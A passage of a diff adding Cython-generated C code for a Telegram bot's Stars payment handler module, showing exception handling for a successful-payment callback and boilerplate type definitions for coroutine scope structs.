(unlikely(PyMethod_Check(__pyx_t_14))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_14); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_14); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_14, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_15}; + __pyx_t_12 = __Pyx_PyObject_FastCall(__pyx_t_14, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 225, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + } + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + } + + /* "handlers/payments/stars_pay.py":224 + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" user_id amount: {e}") + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L19; + } + __pyx_L18_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __pyx_t_13 = __pyx_lineno; __pyx_t_16 = __pyx_clineno; __pyx_t_17 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + } + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ErrRestore(__pyx_t_18, __pyx_t_19, __pyx_t_20); + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __pyx_lineno = __pyx_t_13; __pyx_clineno = __pyx_t_16; __pyx_filename = __pyx_t_17; + goto __pyx_L6_except_error; + } + __pyx_L19:; + } + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + goto __pyx_L5_exception_handled; + } + goto __pyx_L6_except_error; + + /* "handlers/payments/stars_pay.py":217 + * message: types.Message, + * ): + * try: # <<<<<<<<<<<<<< + * user_id = int(message.chat.id) + * amount = float(message.successful_payment.invoice_payload.split("_")[0]) + */ + __pyx_L6_except_error:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L1_error; + __pyx_L5_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + __pyx_L9_try_end:; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/stars_pay.py":213 + * + * + * @router.message(F.successful_payment) # <<<<<<<<<<<<<< + * async def on_successful_payment( + * message: types.Message, + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_XDECREF(__pyx_t_15); + __Pyx_AddTraceback("on_successful_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars[8]; +static int __pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars[--__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars(PyObject *o) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_exists); + Py_CLEAR(p->__pyx_v_expected_hash); + Py_CLEAR(p->__pyx_v_i); + Py_CLEAR(p->__pyx_v_key_count); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_tg_id); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars)))) { + __pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars[__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars++] = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_exists) { + e = (*v)(p->__pyx_v_exists, a); if (e) return e; + } + if (p->__pyx_v_i) { + e = (*v)(p->__pyx_v_i, a); if (e) return e; + } + if (p->__pyx_v_key_count) { + e = (*v)(p->__pyx_v_key_count, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars_spec = { + "handlers.payments.stars_pay.__pyx_scope_struct__process_callback_pay_stars", + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.stars_pay.""__pyx_scope_struct__process_callback_pay_stars", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection[8]; +static int __pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection[--__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + Py_CLEAR(p->__pyx_t_6); + Py_CLEAR(p->__pyx_t_7); + Py_CLEAR(p->__pyx_t_8); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection)))) { + __pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection[__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection++] = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_amount_str) { + e = (*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + if (p->__pyx_t_6) { + e = (*v)(p->__pyx_t_6, a); if (e) return e; + } + if (p->__pyx_t_7) { + e = (*v)(p->__pyx_t_7, a); if (e) return e; + } + if (p->__pyx_t_8) { + e = (*v)(p->__pyx_t_8, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection_spec = { + "handlers.payments.stars_pay.__pyx_scope_struct_1_process_amount_selection", + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.stars_pay.""__pyx_scope_struct_1_process_amount_selection", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount[8]; +static int __pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount[--__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount(PyObject *o) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount)))) { + __pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount[__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount++] = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount(PyObject *o, 